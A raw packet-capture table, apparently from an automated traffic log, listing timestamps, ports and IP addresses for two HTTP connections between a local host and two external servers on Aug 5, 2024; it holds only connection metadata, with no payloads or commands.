Aug 5, 2024 11:59:57.556745052 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.556781054 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.556797028 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.556814909 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.556848049 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.556890965 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.556925058 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.556943893 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.556972027 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.556998014 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.557029963 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.557034016 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.557085991 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.557085991 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.557087898 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.557122946 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.557157993 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.557183981 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.557192087 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.557226896 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.557252884 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.557260990 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.557296038 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.557323933 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.557351112 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.557410955 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.557419062 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.557455063 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.557506084 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.557507992 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.557560921 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.557595015 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.557621002 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.557648897 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.557683945 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.557713032 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.557718992 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.557749987 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.557766914 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.557804108 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.557841063 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.557862043 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.557874918 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.557909012 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.557921886 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.557941914 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.557976007 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.557991982 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.558010101 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.558043957 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.558062077 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.558079004 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.558114052 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.558126926 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.558147907 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.558182955 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.558192968 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.558223009 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.558258057 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.558290958 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.558319092 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.558326006 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.558353901 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.558361053 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.558413982 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.558430910 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.558449030 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.558495045 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.558501959 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.558556080 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.558590889 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.558621883 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.558625937 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.558670998 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.558681011 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.558716059 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.558749914 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.558767080 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.558787107 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.558820963 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.558839083 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.558854103 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.558886051 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.558897972 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.558923006 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.558958054 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.558975935 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.558993101 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.559029102 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.559046984 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.559063911 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.559098959 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.559111118 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.559133053 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.559168100 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.559180975 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.559202909 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.559238911 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.559247017 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.559272051 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.559305906 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.559320927 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.559343100 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.559386969 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.906641960 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.906672955 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.906725883 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.906871080 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.906907082 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.906945944 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.907012939 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:57.913892031 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:57.913957119 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:59.349165916 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:59.354084015 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:59.354203939 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:59.354336977 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:59.359164953 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:00.583312988 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:00.583442926 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:00.583503008 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:00.583535910 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:00.583544970 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:00.583570957 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:00.583599091 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:00.583606005 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:00.583640099 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:00.583672047 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:00.583681107 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:00.583707094 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:00.583715916 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:00.583741903 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:00.583781958 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:00.583796978 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:00.589700937 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:00.589755058 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:00.589807987 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:00.826246023 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:00.826407909 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:00.826446056 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:00.826478958 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:00.826512098 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:00.826514006 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:00.826546907 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:00.826576948 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:00.826668024 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:00.826720953 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:00.826723099 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:00.826756001 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:00.826776981 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:00.826791048 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:00.826823950 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:00.826874018 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:00.827635050 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:00.827685118 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:00.827686071 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:00.827721119 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:00.827750921 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:00.827785015 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:00.827804089 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:00.827832937 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:00.828413963 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:00.879412889 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:00.917714119 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:00.973169088 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:01.170092106 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.170186043 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.170252085 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:01.170280933 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.171070099 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.171124935 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.171176910 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.171185017 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:01.171226978 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.171228886 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:01.171292067 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.171343088 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.171374083 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.171396971 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:01.171408892 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.171436071 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:01.171442032 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.171477079 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.171521902 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:01.171525955 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.171561956 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.171575069 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:01.173775911 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.173866034 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.173921108 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.173950911 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:01.173984051 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:01.174005032 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.174038887 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.174091101 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:01.454989910 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.455044985 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.455081940 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.455111980 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:01.455115080 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.455152988 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.455157042 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:01.455421925 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.455475092 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.455495119 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:01.455524921 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.455558062 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.455566883 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:01.455614090 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.455693960 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:01.455904961 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.455966949 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.456015110 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.456048012 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.456069946 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:01.456079960 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.456105947 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:01.456564903 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.456618071 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.456623077 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:01.456665993 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.456700087 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.456727982 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:01.456732035 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.456765890 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.456811905 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:01.457519054 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.457551956 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.457572937 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:01.457586050 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.457618952 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.457668066 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:01.749006987 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.749069929 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.749103069 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.749135971 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.749169111 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.749196053 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:01.749253988 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:01.749319077 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.749371052 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:01.749411106 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.749475956 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.749530077 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:01.749530077 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.749562979 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.749610901 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.749612093 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:01.750132084 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.750164032 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.750189066 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:01.750212908 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.750245094 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.750260115 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:01.750278950 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.750322104 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:01.750710964 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.750777960 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.750811100 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.750830889 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:01.750844002 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.750896931 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:01.751210928 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.751261950 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.751308918 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:01.751310110 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.751343012 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.751374960 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.751384020 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:01.751406908 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.751458883 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:01.752192974 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.752226114 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.752259970 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.752270937 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:01.752293110 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:01.752337933 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:02.094614983 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.094680071 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.094713926 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.094747066 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.094757080 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:02.094798088 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.094799995 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:02.094830990 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.094867945 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.094885111 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:02.095001936 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.095057011 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:02.095102072 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.095454931 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.095488071 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.095516920 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:02.095534086 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.095582962 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.095596075 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:02.095616102 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.095649004 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.095670938 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:02.095685959 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.095720053 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.095741987 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:02.095938921 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.095994949 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:02.096033096 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.096065998 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.096098900 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.096112967 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:02.096266985 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.096326113 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:02.096339941 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.096406937 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.096438885 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.096461058 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:02.096471071 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.096518993 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:02.096541882 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.096574068 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.096606970 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.096620083 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:02.097131014 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.097162962 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.097189903 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:02.097196102 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.097225904 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.097244024 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:02.145037889 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:02.442672014 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.442734957 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.442786932 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.442807913 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:02.442822933 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:02.442856073 CEST	80	49766	27.221.16.149	192.168.2.5
